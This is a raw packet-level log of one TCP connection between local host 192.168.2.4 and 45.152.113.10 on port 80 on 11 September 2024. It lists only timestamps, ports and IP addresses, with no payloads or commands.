Sep 11, 2024 22:52:03.714315891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714324951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714356899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714361906 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714380026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714394093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714402914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714426041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714461088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714464903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714485884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714493036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714524984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714545012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714545012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714569092 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714572906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714605093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714636087 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714639902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714660883 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714669943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714701891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714711905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714711905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714751959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714764118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714783907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714816093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714818954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714839935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714864016 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714878082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714899063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714925051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714934111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714956045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.714967012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.714998960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715006113 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715030909 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715042114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715060949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715064049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715080976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715095997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715120077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715126991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715159893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715168953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715168953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715193033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715221882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715240955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715241909 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715271950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715305090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715311050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715331078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715337992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715369940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715375900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715418100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715418100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715425968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715476990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715492010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715509892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715543985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715543985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715564013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715593100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715605974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715625048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715647936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715656996 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715688944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715708971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715708971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715718985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715744972 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715764046 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715768099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715800047 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715831041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715836048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715857029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715863943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715878963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715897083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715923071 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715929031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715940952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715960979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.715986967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.715992928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716006041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716023922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716039896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716056108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716080904 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716088057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716100931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716121912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716142893 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716154099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716171980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716201067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716226101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716258049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716284037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716290951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716305971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716324091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716341019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716373920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716376066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716404915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716429949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716437101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716449976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716470003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716486931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716509104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716519117 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716541052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716572046 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716573000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716583014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716605902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716628075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716638088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716645956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716670036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716706038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716717958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716727972 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716749907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716774940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716785908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716793060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716818094 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716844082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716850996 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716861963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716882944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716912031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716914892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716933966 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716947079 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716975927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.716978073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.716986895 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717010021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717029095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717042923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717063904 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717072964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717091084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717104912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717123985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717138052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717156887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717171907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717185020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717226982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717287064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717318058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717338085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717351913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717367887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717385054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717400074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717432976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717433929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717464924 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717482090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717513084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717514038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717547894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717567921 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717597008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717600107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717628956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717652082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717680931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717681885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717708111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717734098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717735052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717757940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717765093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717782021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717797041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717818022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717844009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717849016 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717881918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717900991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717914104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717937946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717946053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717966080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.717978001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.717993975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718018055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718024969 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718049049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718065977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718080044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718095064 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718112946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718130112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718143940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718161106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718177080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718195915 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718210936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718226910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718244076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718261003 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718276024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718295097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718307018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718328953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718338966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718349934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718370914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718389034 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718405008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718420029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718436956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718451977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718468904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718483925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718518972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718521118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718552113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718569994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718583107 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718600035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718616009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718636036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718650103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718663931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718682051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718700886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718713999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718730927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718746901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718777895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718780041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718790054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718811035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718830109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718842983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718858957 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718894005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718894958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718925953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718947887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718957901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.718974113 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.718991041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719007969 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719022989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719046116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719063997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719072104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719105005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719121933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719136000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719153881 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719168901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719182014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719201088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719217062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719249010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719254017 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719281912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719297886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719316959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719327927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719348907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719368935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719382048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719408035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719434023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719444036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719469070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719486952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719500065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719516993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719532967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719558954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719563961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719595909 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719598055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719616890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719630003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719652891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719660997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719681025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719692945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719707012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719724894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719738960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719757080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719779015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719789982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719805956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719820976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719836950 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719854116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719873905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719885111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719902992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719933987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.719938040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719970942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.719988108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720002890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720020056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720035076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720050097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720102072 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720103025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720135927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720153093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720168114 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720184088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720200062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720218897 CEST	49733	80	192.168.2.4	45.152.113.10
